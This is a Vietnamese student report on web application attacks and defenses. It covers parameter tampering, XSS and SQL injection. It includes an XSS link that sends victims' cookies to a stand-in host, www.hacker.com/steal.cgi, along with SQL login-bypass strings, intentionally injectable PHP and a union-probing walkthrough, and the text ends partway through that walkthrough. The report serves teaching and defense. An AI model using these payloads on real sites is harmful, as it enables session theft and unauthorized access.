Report of Web Security

HỌC VIỆN KỸ THUẬT QUÂN SỰ

KHOA CÔNG NGHỆ THÔNG TIN

--------- ---------

BÀI TẬP MÔN HỌC

AN NINH HỆ THỐNG MẠNG MÁY TÍNH

Đề tài: WEB APPLICATION SECURITY

Giảng viên: TS Trần Hồng Quang.

Học viên : Nguyễn Thị Hương.

Nguyễn Duy Hoàng.

Trần Danh Minh Hoàng.

Nguyễn Việt Hùng.

Lớp: CH CNTT K25B.

HÀ NỘI - 10/2014

An ninh hệ thống mạng máy tính

Nhóm 19 - CHCNTT K25B HVKTQS 2

MỤC LỤC

LỜI MỞ ĐẦU ........................................................................................................................... 3

CHƯƠNG 1: TỔNG QUAN VỀ ỨNG DỤNG WEB ........................................................... 4

I. Khái niệm ứng dụng Web .................................................................................... 4

II. Một số lỗi bảo mật ứng dụng web thông dụng .............................................. 6

CHƯƠNG 2. CÁC PHƯƠNG PHÁP TẤN CÔNG ỨNG DỤNG WEB ............................. 7

I. Information & Discovery ...................................................................................... 7

1. Spidering/Site Crawling .............................................................................. 7

2. Dentifiable Characteristics ......................................................................... 7

3. Errors and Response Codes........................................................................ 7

4. File/Application Enumeration ................................................................... 8

5. Network Reconnaissance ............................................................................ 8

II. Một số cách tấn công ứng dụng web ................................................................. 9

1. Thao tác trên tham số truyền ..................................................................... 9

2. Chèn mã lệnh thực thi trên trình duyệt nạn nhân (Cross-Site Scripting) ... 12

3. Chèn câu truy vấn SQL ............................................................................. 15

4. File include ................................................................................................. 20

5. Upload file ................................................................................................... 25

6. Yêu cầu giả mạo (Cross-Site Request Fogery) ...................................... 28

7. Chiếm hữu phiên làm việc ........................................................................ 32

8. Tổng kết quá trình tấn công của Hacker ............................................... 36

9. Tổng kết các biện pháp phòng thủ .......................................................... 39

III. Authentication/Authorization ........................................................................ 42

IV. System Mis-Configurations ............................................................................. 42

KẾT LUẬN… ......................................................................................................................... 43

TÀI LIỆU THAM KHẢO ..................................................................................................... 44



LỜI MỞ ĐẦU

Trong thời đại ngày nay, Internet đã trở nên rất quen thuộc và là một công cụ

hữu ích để một đất nước giới thiệu hình ảnh hay đơn giản chỉ là một trang web cá nhân

của một ai đó giới thiệu về mình. Tất cả đã kéo theo sự phát triển không ngừng của các

ứng dụng web. Và dần dần, khái niệm ứng dụng web đã trở nên phổ biến. Khi mà trên

internet, ứng dụng web đã trở lên phổ biến và được ứng dụng một cách rộng rãi thì các

cuộc tấn công ứng dụng web cũng phát triển hết sức phức tạp. Điều này đã đặt ra vấn

đề cấp thiết cần làm như thế nào để bảo đảm an toàn thông tin cho ứng dụng web,

thông tin của người sử dụng. Các khái niệm chuyên môn về ứng dụng web và tấn công

ứng dụng web cũng dần trở lên phổ biến hơn trong các tài liệu chuyên ngành. Các

công cụ hỗ trợ người lập trình web, người quản trị mạng cũng xuất hiện giúp tìm kiếm

lỗ hổng của ứng dụng web, nhưng nó không theo kịp sự phát triển nhanh đến mức

chóng mặt theo xu hướng nhanh hơn, đẹp hơn của các ứng dụng web, và tất nhiên nó

không thể ngăn chặn hoàn toàn các cuộc tấn công ứng dụng web, khi mà các cuộc tấn

công ngày càng đa dạng khai thác triệt để những lỗi của ứng dụng web, của người

quản trị, hay người lập trình ứng dụng web.

Thống kê cho thấy 75% cuộc tấn công internet là tấn công ứng dụng web, nó

gây ra những thiệt hại vô cùng to lớn, vì vậy việc tìm hiểu về tấn công ứng dụng web

là rất cần thiết nhằm có cách phòng chống tấn công và bảo mật ứng dụng web hiệu quả

trở thành một yêu cầu cấp thiết…

Do đây là một xu hướng tất yếu của thời đại, nên việc tìm hiểu và nghiên cứu

ứng dụng web sẽ giúp ích rất nhiều cho các nhà lập trình web mới, hay các quản trị

viên mới còn ít kinh nghiệm trong việc quản trị hệ thống mạng của mình, phòng tránh,

hay khắc phục những lỗi của ứng dụng web. Bài tập lớn được thực hiện nhằm mục

đích giới thiệu rõ hơn về ứng dụng web nhằm tránh những nhầm lẫn và đồng thời tìm

hiểu những tấn công ứng dụng web phổ dụng nhằm cách phòng chống, bảo mật web

một cách hợp lý.



CHƯƠNG 1: TỔNG QUAN VỀ ỨNG DỤNG WEB

I. Khái niệm ứng dụng Web

Ứng dụng web là một ứng dụng chủ/ khách sử dụng giao thức HTTP để tương

tác với người dùng hay hệ thống khác.

Dưới góc độ chức năng, ứng dụng Web là các chương trình máy tính cho phép

người dùng website đăng nhập, truy vấn vào ra dữ liệu qua mạng Internet trên trình

duyệt Web yêu thích của họ. Dữ liệu sẽ được gửi tới người dùng trong trình duyệt theo

kiểu thông tin động (trong một định dạng cụ thể, như với HTML thì dùng CSS) từ ứng

dụng Web qua một Web Server.

Trình khách dành cho người sử dụng thường là một trình duyệt Web như

Internet Explorer hay Netscape Navigator. Cũng có thể một chương trình đóng vai trò

đại lý người dung hoạt động như một trình duyệt tự động. Người dùng gửi và nhận các

thông tin từ trình chủ thông qua việc tác động mua bán, các diễn đàn, gửi nhận email.

Tốc độ phát triển các kỹ thuật xây dựng ứng dựng web cũng phát triển rất

nhanh. Ngày nay ứng dụng web thường được viết bằng Java hay các ngôn ngữ tương

tự và chạy trên máy chủ phân tán, kết nối đến nhiều nguồn dữ liệu.

Một ứng dụng web thường có cấu trúc như sau:

Hoạt động của ứng dụng Web: Đầu tiên trình duyệt sẽ gửi một yêu cầu

(request) đến máy chủ Web thông qua các phương thức cơ bản GET, POST…của giao

thức HTTP, trình chủ lúc này có thể cho thực thi một chương trình được xây dựng từ

nhiều ngôn ngữ như C/C++, PHP, ASP,… hoặc trình chủ yêu cầu bộ diễn dịch thực thi

các trang JSP, JAVAR…theo yêu cầu của trình khách.

Tuỳ theo các tác vụ của chương trình được cài đặt mà nó xử lý, tính toán, kết nối

đến cơ sở dữ liệu, lưu các thong tin do trình khách gửi đến…và từ đó trả về cho trình

khách một luồng dữ liệu có định dạng theo giao thức HTTP or HTTPS, nó gồm 2 phần:



Header mô tả các thông tin về gói dữ liệu và các thuộc tính, trạng thái

trao đổi giữa trình duyệt và webserver.

Body là phần nội dung dữ liệu mà server gửi về client, nó có thể là một

file HTML, một hình ảnh, một đoạn phim hay một văn bản bất kỳ.

Sơ đồ rủi ro ở một số lớp:

Mô hình bức tường lửa



SSL makes me secure:

II. Một số lỗi bảo mật ứng dụng web thông dụng

Trusting Client – side data

Unescaped Special Characters

HTML Character Filtering

Authentication mechanisms using technologies such as JavaScript or ActiveX.

Lack of re-authenticating the user before issuing new passwords or

performing critical tasks.

Hosting of uncontrolled data on a protected domain

Các lỗi bảo mật ở trên có thể xuất hiện trong tất cả các ứng dụng web, bất kể nó

được phát triển bởi các chuyên gia độc lập hay các công ty phần mềm nổi tiếng nhất.



CHƯƠNG 2. CÁC PHƯƠNG PHÁP TẤN CÔNG ỨNG DỤNG WEB

I. Information & Discovery

Trước khi tấn công một mục tiêu nào đó mà chúng ta tìm hiểu được chi tiết về

mục tiếu đó thì khả năng tấn công thành công sẽ cao. Do vậy các tin tặc muốn tấn công

một hệ thống họ sẽ tìm các thông tin chi tiết về hệ thống đó dựa vào các công cụ tìm

kiếm, các lỗi phát sinh từ các ứng dụng … Đưới đây là một số cách thức tìm hiểu

thông tin để tấn công.

1. Spidering/Site Crawling

Spider web là những công cụ mạnh nhất và hữu ích nhất cho những thứ tốt và

xấu trên internet. Một Spider có chức năng chính là khai thác dữ liệu. Cách một spider

hoạt động điển hình là thu thập thông tin của một trang web tại một thời điểm. Nó sẽ

thu thập các địa chỉ liên quan như là địa chỉ email, các thẻ meta, dữ liệu ẩn, thông tin

URL, và các liên kết khác.

Google.com là một spider điển hình. Người ta sử dụng spider để hack và được

gọi là “google hack”

Chúng ta có thể sử dụng công cụ wget để lấy các thông tin được công bố trong

các ứng dụng

Ví dụ:

Để thu thập các tiêu đề HTTP của các web ta dùng lệnh sau

wget-S –spider <mục tiêu>

Để thu thập nội dung trang web ta dùng lệnh sau

wget-r-D <miền> <mục tiêu>

2. Dentifiable Characteristics

Đặc điểm nhận dạng là những tính năng mô tả một trang web hay nói một cách

khác họ sẽ nói cho bạn biết các thông tin về trang web.

3. Errors and Response Codes

Để tìm hiểu mục tiêu tấn công thì vấn đề các lỗi của web application cũng mang

lại rất nhiều thông tin. Kẻ tấn công có thể dựa vào các HTTP Response. Trong mỗi

HTTP Response đều chứa một trạng thái mã (status code). Các trạng thái mã cho biết

kết quả truy vấn mà máy chủ web trả về.

Ví dụ Thông tin HTTP Response

HTTP/1.1 200 OK

Date: Tue, 17 Dec 2013 03:30:53 GMT



Server: IBM_HTTP_SERVER/1.3.26.2 Apache/1.3.26 (Unix)

Set-Cookie: tracking=tI8rk7joMx44S2Uu85nSWc

Pragma: no-cache

Expires: Thu, 01 Jan 1970 00:00:00 GMT

Content-Type: text/html;charset=ISO-8859-1

Content-Language: en-US

Content-Length: 24246

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">

<html lang="en">

<head>

<meta http-equiv="Content-Type" content=”text/html;

charset=iso-8859-1”>

4. File/Application Enumeration

Đây là một kỹ thuật phổ biến được sử dụng để liệt kê và truy cập tài nguyên

không được tham chiếu bởi ứng dụng nhưng vẫn có thể truy cập. Kẻ tấn công có thể

tìm kiếm bằng cách sử dụng công nghệ Brute Force để tìm kiếm các nội dung không

liên kết trong thư mục domain như là các thư mục temporary và tệp tin các tệp tin sao

lưu cũ cũng như các tập tin cấu hình cũ. Các tài nguyên này có thể lưu trữ thông tin

nhạy cảm về web application.

5. Network Reconnaissance

Cách này dùng các công cụ và các tiện ích khác nhau để tìm hiểu thu thập thông

tin. Cách dò tìm này kẻ tấn công thường dò địa chỉ IP, dò các dịch vụ đang chạy.

Sau đây, tôi xin giới thiệu về một số cách tấn công các ứng dụng web và một số

cách phòng chống (các kỹ thuật tấn công và bảo mật ứng dụng web):

- Thao tác trên tham số truyền.

- Chèn mã lệnh thực thi trên trình duyệt nạn nhân (Cross-Site-Scripting).

- Chèn câu truy vấn SQL.

- File Include.

- Upload File.

- Yêu cầu giả mạo (Cross-Site-Request Fogery - CSRF).

- Chiếm hữu phiên làm việc.



- Tổng kết quá trình tấn công của hacker.

- Tổng kết các biện pháp phòng chống.

II. Một số cách tấn công ứng dụng web

1. Thao tác trên tham số truyền

1.1. Thao tác trên URL

a. Phát hiện lỗ hổng

Khi nhập tham số vào 1 form HTML thì kết quả sẽ được truyền đến server theo

hai cách: GET và POST. Nếu dùng GET thì tất cả tên biến và giá trị sẽ được truyền đi

và xuất hiện trên URL.

Ví dụ: Một URL thực hiện việc thay đổi mật khẩu được truyền đến server bằng

phương thức GET:

http://www.test.com/changepass.php?username=ACE_AnGeL&password=123456

Chúng ta quan sát URL trên thì sẽ thấy URL chứa 2 biến username và password

với giá trị là username: ACE_AnGeL và password: 123456

Với cách truyền tham số này, hacker có thể dễ dàng thay đổi username và

password theo ý mình:


Hay:

http://www.test.com/changepass.php?username=admin&password=123456

Vậy hacker có thể thay đổi password của bất kì user nào với việc chỉ cần biết

username.

Thật nguy hiểm nếu website của chúng ta truyền tham số như vậy trong các

hành động nhạy cảm.

b. Một số biện pháp khắc phục

Để khắc phục sự nguy hiểm của việc truyền tham số qua phương thức GET này

ta có thể làm theo một số cách sau đây:

Sử dụng phương thức POST thay vì GET

Sử dụng cơ chế hàm băm (hash table). Khi người dùng chứng thực thành công

với username và password hợp lệ, hệ thống sẽ sinh ra một khóa tương ứng, khóa này

sẽ được lưu trên server và dùng để chứng thực các hành động của user này. Nếu khóa

này không hợp lệ chứng tỏ hành động của user đã bị mạo danh.

Đối với những thông tin có giá trị, cần mã hóa thông tin này trước khi cho hiển

thị trên trình duyệt để tránh hacker có thể thay đổi tùy ý.



http://www.test.com/changepass.php?username=admin&password=123456



1.2. Thao tác trên biến ẩn form

a. Phát hiện

Trong HTML có thể truyền thông tin qua một biến ẩn form đó là hiden field.

Biến ẩn form không hiển thị trên màn hình trình duyệt nhưng có thể xem nội dung này

thông qua việc view source, vì thế đây có thể là một điểm yếu để hacker lợi dụng nếu

hiden field này chứa các thông tin có giá trị nếu nó chứa các thông tin có giá trị ví dụ

như giá của mặt hàng.

Ví dụ 1 form có nội dung như sau:

<form action=”http://www.test.com/checkout.php” menthod=”POST” >

<input type=”hiden” name=”cost” value=”100”>

</form>

Với nội dung form như trên thì trình duyệt sẽ gửi đến trình chủ nội dung như sau:

POST /http://www.test.com/checkout.phpHTTP/1.0

Cost=100

Nhưng nếu hacker download source code của form và sửa giá trị của hiden field

như sau:

<form action=”http://www.test.com/checkout.php” menthod=”POST” >

<input type=”hiden” name=”cost” value=”1”>

</form>

Thì request đến trình chủ sẽ bị thay đổi là:

POST /http://www.test.com/checkout.php HTTP/1.0

Cost=1

Ngoài việc hacker có thể thay đổi giá trị của các hiden field, hacker còn có thể

thay đổi các nội dung các của form như độ dài của 1 ô nhập dữ liệu để tiến hành các kỹ

thuật tấn công như Buffer over flow, …


Chỉ nên sử dụng biến ẩn form để lưu giữ những biến ít giá trị như có tác dụng

tính toán việc hiển thị trên trình duyệt chứ không nên dùng biến ấn form để lưu giữ

những giá trị thao tác ứng dụng.

Dùng tham số HTTP_REFERER để kiểm tra xem nguồn gốc của request,

nhưng hacker cũng có thể thay đổi tham số này để đánh lừa trình chủ. Vậy ta cũng ko

nên quá tin tưởng vào tham số này.

Trên trình chủ nên sử dụng các thông tin được tham chiếu từ cơ sở dữ liệu để

tính toán.

http://www.test.com/checkout.php

http://www.test.com/checkout.php



1.3. Thao tác trên Cookie

a. Phát hiện

Vì cookie là thành phần lưu trữ thông tin bảo mật nhất nên cookie thường được

sử dụng để lưu trữ các trạng thái cho giao thức HTTP hơn là sử dụng biến ấn form hay

tham số URL. Nó còn được sử dụng để lưu trữ những thông tin của người dùng khi thao

tác ứng dụng và các dữ liệu quan trọng khác như session ID,… Nhưng cookie cũng có

thể bị thay đổi rất dễ dàng nhờ các tool bởi người dùng và hacker có thể lợi dụng việc

này để phá hoại ứng dụng. SSL chỉ có tác dụng bảo vệ cookie trong quá trình truyền chứ

không đảm bảo được việc cookie có bị thay đổi hay không trước khi truyền.

Ví dụ: Một cookie của ứng dụng chứa các tham số như sau:

Cookie: lang=en-us; ADMIN=no; y=1 ; time=10:30GMT ;

Cookie này xác định người dùng không phải là admin với tham số ADMIN=no,

Nhưng nếu hacker thay đổi trường này thành yes thì điều gì sẽ xảy ra? Ví dụ hacker

thay đổi cookie này như sau:

Cookie: lang=en-us; ADMIN=yes; y=1 ; time=10:30GMT ;

Hacker đã mang vai trò là admin của ứng dụng.


- Sử dụng đối tượng session lưu trữ thông tin quan trọng trên trình chủ. Khi ứng

dụng cần kiểm tra thông tin một người dùng, ứng dụng sẽ dùng session ID của người

dùng đó để tham chiếu đến thông tin được lưu trong cơ sở dữ liệu.

- Xây dựng 1 cơ chế kiểm tra nội dung của cookie để xác định xem cookie đó

có hợp lệ hay không. Ví dụ như nếu biến ADMIN=yes nhưng ID của ID của người

dùng đó không đúng với ID trong CSDL thì cookie đó là giả mạo.

- Phương pháp cuối cùng là mã hóa cookie.

1.4. Thao tác trong HTTP Header

Các tham số như URL, cookie hay biến ẩn form người dùng có thể xem và thay

đổi, nhưng những tham số đó đều được truyền đến trình chủ thông qua HTTP Header.

Tuy HTTP Header không phải là tham số truyền của ứng dụng nhưng mọi thông tin

truyền đến trình chủ đều được lưu giữ trên nó, nên ta sẽ cùng tìm hiểu cách thức để

thay đổi nội dung một HTTP Header.

a. Phát hiện

Thông thường, chỉ có trình duyệt và trình chủ là trao đổi thông tin qua HTTP

Header, còn hầu hết các ứng dụng web thì không. Tuy nhiên hacker có thể tự viết một

chương trình hoặc sử dụng những tool có sẵn để xem và thay đổi nội dung hay sử dụng các



proxy miễn phí cho phép thay đổi được dữ liệu được gửi từ trình duyệt. Ngoài ra, hacker

còn có thể tấn công trực tiếp đến trình chủ bằng cách telnet gửi HTTP Header Request.

Ví dụ:

su-2.05# telnet localhost 80

Trying 127.0.0.1...

Connected to localhost.

Escape character is ‘^]’. GET /HTTP/1.0

Referer: www.test.com/login.php

User-Agent: 

HTTP/1.1 200 OK

Date: Mon, 17 Dec 2011 20:39:02 GMT Server:

Connection: close

Content-Type: text/html

(Những phần in đậm là nội dung hacker thay đổi)

Ví dụ: Một ứng dụng kiểm tra tham số Referer trong HTTP header để đảm bảo

rằng request này được gửi từ 1 trang web của ứng dụng đó (Vì Referer chứa URL của

trang web gửi request). Việc này ngăn chặn hacker lưu source code về máy, chính sửa

tùy ý rồi gửi đi. Nhưng phương pháp kiểm tra này sẽ thất bại nếu hacker sửa tham số

Referer này giống như được gửi từ trang hợp lệ.


Đơn giản là không nên tin tưởng vào HTTP Header nếu như không có các biện

pháp an toàn. Với các header được gửi từ trình chủ thì nên mã hóa, còn các header

được gửi từ trình khách thì không nên tin tưởng các tham số như Referer, … để thực

hiện các biên pháp an toàn.

2. Chèn mã lệnh thực thi trên trình duyệt nạn nhân (Cross-Site Scripting)

2.1. Kỹ thuật tấn công Cross-Site Scripting (XSS)

Phương pháp tấn công Cross-Site Scripting (XSS) là phương pháp tấn công

bằng cách chèn thêm những đoạn mã có khả năng đánh cắp hay thiết lập những thông

tin quan trọng như cookie,… vào mã nguồn của ứng dụng web để từ đó chúng được

chạy như 1 phần của ứng dụng web và có chức năng cung cấp hoặc thực hiện 1 số điều

hacker mong muốn.

Phương pháp này không nhằm vào máy chủ hệ thống mà chủ yếu tấn công vào

máy của người sử dụng. Hacker sẽ lợi dụng sự lỏng lẻo của hệ thống, hiểu biết hạn chế

của người dùng cũng như đánh vào sự tò mò của họ dẫn đến chiếm đoạt được các

thông tin quan trọng 1 cách dễ dàng.

Thông thường hacker sử dụng liên kết URL đã gắn thêm những đoạn mã được



viết bằng ngôn ngữ trình duyệt như JavarScript hay VBScript,… nhằm thực thi trên

máy của nạn nhân.

Ví dụ:

http://www.test.com/index.php?page=<script>alert(‘document.cookie’);</script>

Hay :

http://www.test.com/search.php?search_text=%3Cscript%3Ealert%28docum

ent.cookie%29%3C%2Fscript%3E

Phần in đậm chính là nội dung mà hacker thêm vào nhằm mục đích đánh cắp

cookie của nạn nhân. Ví dụ trên chỉ minh họa 1 cách rất đơn giản trong kỹ thuật tấn công

này là thêm đoạn mã vào URL, nhưng có rất nhiều cách để thêm đoạn mã JavarScript

trong kỹ thuật tấn công XSS này. Một số ví dụ khác về cách thêm các đoạn mã:

<a href=”javarscript: [code]”>

<div onmouseover=”[code]”>

<img src=” javarscript: [code]”>

<img dynsrc=” javarscript: [code]”>

<input type=”image” dynsrc=”javarscript: [code] >

……..

Các phần in đậm là nơi mà hacker có thể đặt các đoạn mã nhằm đánh cắp thông tin.

2.2. Phương pháp tấn công XSS truyền thống

Ứng dụng thường lưu trữ các thông tin quan trọng ở cookie, cookie là mẩu

thông tin mà ứng dụng lưu trên ổ đĩa cứng của máy người dùng nhưng chỉ những ứng

dụng thiết lập cookie thì mới có thể đọc nó. Chính vì thể chỉ những người dùng đang

trong phiên làm việc của ứng dụng thì hacker mới có cơ hội sử dụng kỹ thuật XSS để

đánh cắp cookie. Công việc đầu tiên của hacker khi đã tìm ra một ứng dụng bị lỗ hổng

XSS là dụ người dùng đăng nhập vào ứng dụng web đó.

Các bước thực hiện kỹ thuật tấn công XSS truyền thống:

Bước 1: Hacker tìm ra lỗ hổng XSS trên một ứng dụng web.

Bước 2: Người dùng đang trong phiên làm việc trên ứng dụng nhận được một

liên kết thông qua email hay trên chính ứng dụng đó. Thông thường hacker dụ người

dùng chú ý đến những liên kết đó bằng những câu kích thích sự tò mò như: Kiểm tra

tài khoản hay một phần thưởng đang chờ bạn,…

Bước 3: Khi người dùng click vào những liên kết đó thì đoạn mã mà hacker

viết ra có tác dụng chuyển thông tin cookie đánh cắp được về một chương trình CGI

hoặc trang web của hacker và lưu trữ vào một tập.

Bước 4: Sau khi nhận được cookie đánh cắp, hacker dùng nó để thâm nhập vào

http://www.test.com/index.php?page=%3cscript%3ealert('document.cookie');%3c/script

http://www.test.com/search.php?search_text=%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E

http://www.test.com/search.php?search_text=%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E



phiên làm việc của nạn nhân.

Ví dụ: Trang web http://www.test.com có lỗ hổng XSS, hacker sẽ thực hiện kỹ

thuật tấn công XSS như sau:

Khi hacker phát hiện ra website http://www.test.com có lỗ hổng XSS, hacker

gửi đến cho những người dùng của ứng dụng này một liên kết có thể dạng như sau:

<ahref= ‘http://www.test.com/index.php?page=<script>document.location.repla

ce(‘http :www.hacker.com/steal.cgi?’+document.cookie) ;</script>’> Một phần

thưởng hấp dẫn đang chờ bạn </a>

Vậy nếu người dùng click vào liên kết do hacker gửi đến sẽ trở thành nạn nhân

của hacker, cookie của họ sẽ bị đánh cắp và là tham số truyền vào cho chương trình

steal.cgi của hacker.

Nhưng những liên kết như vậy nếu một người dùng cảnh giác và có thể có một

chút kiến thức về lập trình web hay hiểu biết một chút về XSS thì sẽ rất khó bị mắc

lừa. Nhưng hacker có thể sử dụng liên kết có dạng như sau:

http://example.com/search.cgi?%71%75%65%61%72%79%3D%3C%73%63%72%

69%70%74%3E%61%6C%65%61%72%74%28%64%63%75%6D%65%6E%6C%74

%2E%63%6F%6F%6B%69%65%29%3C%2F%73%63%72%69%70%74%3E]http://t

est.com/index.php?%71%75%65%61...%72%69%70%74%3E

Đó chính là cách là hacker qua mặt người dùng, bởi vì liên kết đã được thay thế

bằng mã Hex, tất nhiên trình duyệt vẫn hiểu liên kết thực sự là gì.

2.3. Tấn công XSS bằng Flash

Ngoài những cách tấn công trên hacker còn có thể sử dụng những tập tin flash

nhờ vào một ngôn ngữ kịch bản là ActionScript. Macromedia Flash cho phép

Actionscript được thực thi dưới những tập tin flash, Action script có cú pháp đơn giản

và tương tự như Javarscript, C hay Pearl. Ví dụ hàm getURL dùng để gọi đến 1 trang

web khác, tham số thường là 1 URL chẳng hạn như http://www.yahoo.com

getURL(‘http://www.yahoo.com’)

Tuy nhiên ta cũng có thể thay thế URL trên bằng một đoạn mã JavarScript như

sau:

getURL(‘javascript :alert(document.cookie)’)

hoặc:

getURL(‘javarscript :location(‘http://www.hacker.com ?cookie=’+document.cookie)’)

Các trang web cho phép thành viên gửi dữ liệu dưới dạng HTML hoặc tạo chữ kí

riêng như các diễn đàn đều có thể trở thành nạn nhân của phương pháp tấn công này.

http://www.test.com/

http://www.test.com/

http://example.com/search.cgi?%71%75%65%61%72%79%3D%3C%73%63%72%69%70%74%3E%61%6C%65%61%72%74%28%64%63%75%6D%65%6E%6C%74%2E%63%6F%6F%6B%69%65%29%3C%2F%73%63%72%69%70%74%3E%5dhttp://test.com/index.php?%71%75%65%61...%72%69%70%74%3E




http://www.yahoo.com/



2.4. Cách phòng chống

- Với những dữ liệu, thông tin do người dùng nhập vào, ta cần phải thực hiện 1

số biện pháp như sau:

+ Tạo danh sách những thẻ HTML được phép sử dụng.

+ Xóa bỏ thẻ <script>.

+ Lọc bất kì một đoạn mã JavarScipt/Java/VBScipt/… nào.

+ Lọc dấu nháy đơn và nháy kép.

+ Lọc ký tự NULL.

+ Xóa những ký tự ‘>’, ‘<’.

+ Vẫn cho phép nhập những ký tự đặc biệt nhưng sẽ mã hóa theo chuẩn riêng.

- Đối với người dùng: cần cấu hình lại trình duyệt để nhắc nhở người dùng có

cho thực thi ngôn ngữ kịch bản trên máy của họ hay không? Tùy vào mức độ tin cậy

mà người dùng sẽ quyết định.

- Một cách đơn giản hơn để chống lại hình thức tấn công này đó là mã hóa các

thẻ html trước khi in ra trình duyệt bằng cách dùng hàm htmlentities().

2.5. Nhận xét

Kỹ thuật XSS khá phổ biến và dễ áp dụng, tuy nhiên mức độ thiệt hại chỉ dừng

lại ở mức độ tấn công trên máy của nạn nhân thông qua những liên kết hay form lừa

đảo mà hacker gửi đến. Vì thế, ngoài việc kiểm tra tính đúng đắn của dữ liệu trước khi

sử dụng thì việc cần thiết là nên cảnh giác trước khi truy cập vào 1 trang web mới. Có

thể nói rằng nhờ sự cảnh giác của người dùng thì 90% họ đã đạt được sự bảo mật trước

hình thức tấn công này.

3. Chèn câu truy vấn SQL

3.1. Khái niệm SQL Injection

SQL Injection là kỹ thuật tấn công bằng cách lợi dụng những lỗ hổng trong quá

trình lập trình web trong bước truy xuất cơ sở dữ liệu. Lợi dụng lỗ hổng này, hacker có

thể thông qua việc nhập dữ liệu để tiến hành những lệnh điều khiển CSDL như select,

delete, insert,… mà người quản trị ứng dụng không mong muốn. Từ đó hacker có thể

chiếm quyền điều khiển hệ thống.

3.2. Các cách tấn công

a. By Pass

Với dạng tấn công này, hacker có thể lợi dụng lỗ hổng SQL injection để vượt

qua các trang đăng nhập một cách khá đơn giản.



Ta sẽ xét một trang đăng nhập có nội dung code như sau:

<form id="login" name="login" method="post" action="dologin.php">

Userame : <input name="user" type="text" id="user" />

Password: <input name="pass" type="text" id="pass" />

<input type="submit" name="Submit" value="Submit" />

</form>

Và trang dologin.php như sau:

<?php

include("../../include/conn.inc");

$user = $_POST['user'];

$pass = md5(md5($_POST['pass']));

$result = mysql_query("SELECT * FROM tbl_dangnhap WHERE username =

'$user' AND pass = '$pass'");

if($result){ $num = mysql_num_rows($result); if($num < 0){ echo

"Fail.";$check = false; }else{ echo "susscess.";$check = true; }}else{ echo "Fail.";

$check = false;}

?>

Thông thường thì đoạn code trang dologin.php này không hề có sự mất an toàn

nào. Và người dùng không thể đăng nhập nếu như không có username và password

hợp lệ. Nhưng thực sự thì đoạn mã này lại tiềm ẩn một lỗ hổng về SQL Injection rất

lớn. Điểm mấu chốt nằm ở chỗ dữ liệu nhập vào từ người dùng được trực tiếp dùng để

xây dựng lên câu truy vấn CSDL. Chính vì thế, hacker có cơ hội để điều khiển câu truy

vấn này theo ý muốn. Ví dụ như hacker có thể nhập dữ liệu vào cả user và password

như sau: ‘ OR ‘ ‘ = ‘ . Lúc này câu truy vấn CSDL sẽ trở thành:

SELECT * FROM tbl_user WHERE username = ‘’ or ‘’ = ‘’ AND pass = ‘’ or ‘’ = ‘’

Câu truy vấn này luôn luôn trả về kết quả là tất cả các record trong bảng

tbl_user. Vậy cách kiểm tra login như trên đã bị vượt qua.

Hoặc khi hacker biết được username của người quản trị là admin chẳng hạn,

hacker có thể nhập như sau: user: admin’ -- | pass: everything. Câu truy vấn CSDL trở

thành: SELECT * FROM tbl_user WHERE username = ‘admin’ -- AND pass =

‘md5(md5(everything))’. Vậy hacker đã có thể đăng nhập với tài khoản ‘admin’ mà

không hề cần biết password là gì.

Nhưng code php trên có thể người lập trình sẽ code chặt chẽ hơn một chút như sau:

$username = $_POST['username'];

$pass = $_POST['pass'];

$pass = md5(md5($pass));

$sql = "SELECT * FROM tbl_dangnhap WHERE username = '$username'



AND pass = '$pass' LIMIT 1";

$result = mysql_query($sql);

$num = mysql_num_rows($result);

echo $sql."<br/>";

echo $num."<br/>";

if($num == 1){

echo “Susscess”;

}else{

echo "Try Againt";

}

Vậy với cách by pass như trên sẽ gặp khó khăn nếu bảng tbl_dangnhap có hơn

1 user trong trường hợp ko biết trước username vì Khi ta đăng nhập với username là: ‘

or 1=1 thì câu truy vấn SQL sẽ trả về lớn hơn một kết quả được tìm thấy, mà người lập

trình lại kiểm tra nếu có một kết quả thì quá trình đăng nhập mới thành công.

Trong trường hợp này ta có thể bypass như sau:

Username: ‘ or 1=1 limit 1 #

Pass: everything

Như vậy câu truy vấn sql sẽ trở thành: SELECT * FROM tbl_dangnhap WHERE

username = ‘’ or 1=1 limit 1 #’ AND pass = ‘md5(md5(‘everything’))’ LIMIT 1.

Có một kết quả trả về duy nhất do limit 0,1 và đó là kết quả đầu tiên ứng với tài

khoản admin đầu tiên trong bảng tbl_dangnhap.

Tương tự như vậy, nếu thay thành limit 1,1 thì hacker có thể đăng nhập bằng tài

khoản admin thứ hai thì hacker có thể by pass toàn bộ các tài khoản có trong bảng

tbl_dangnhap.

b. Kết hợp odder by, select và union

Dạng tấn công này phức tạp hơn, nhưng ta có thể lấy được thông tin về

username và password hoặc bất cứ một thông tin nào khác trong CSDL. Để tìm hiểu

phương pháp tấn công này ta cùng thử một ví dụ sau.

Ví dụ 1: trang hiển thị chi tiết sản phẩm, trang này sẽ nhận id sản phẩm trên url

rồi dùng id đó để truy xuất chi tiết sản phẩm từ CSDL

Code của trang này có thể được viết như sau:

<?php

include(“../../conn.inc”);

if(isset($_GET[‘idpro’])){

$idpro = $_GET[‘idpro’];



}else{

$idpro = 39;

}

//$idpro = $idpro/1;

$sql = “SELECT * FROM tbl_product WHERE ID = $idpro”;

echo $sql;

$result = mysql_query($sql);

$row = mysql_fetch_array($result);

include(“detail.html”);

?>

Url của trang này ví dụ như sau:

http://localhost/demo/sqli/getdata/detail.php?idpro=39

Ta thử thêm dấu ‘ vào cuối url

http://localhost/demo/sqli/getdata/detail.php?idpro=39’

Nếu như xuất hiện thông báo lỗi hoặc có thể không thông báo lỗi nhưng trang

web sẽ ko hiển thị chi tiết sản phẩm nữa thì ta có thể trang web này đã dính lỗi sql

injection.

Ta thử tiếp như sau:

http://localhost/demo/sqli/getdata/detail.php?idpro=39+or+1=1

Nếu web vẫn hiển thị chi tiết sản phẩm như bình thường thì ta làm tiếp như sau:

http://localhost/demo/sqli/getdata/detail.php?idpro=39+order+by+1

Ta tăng dần lên order by 2 , 3, 4 , … cho đến khi xuất hiện thông báo lỗi :

Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean

given in C:\wamp\www\demo\sqli\getdata\detail.php on line 13

Như ở ví dụ này khi ta thay order by 19 thì xuất hiện thông báo lỗi

Vậy ta biết được trong câu truy vấn lấy thông tin sản phẩm đã lấy ra 18 cột

trong CSDL

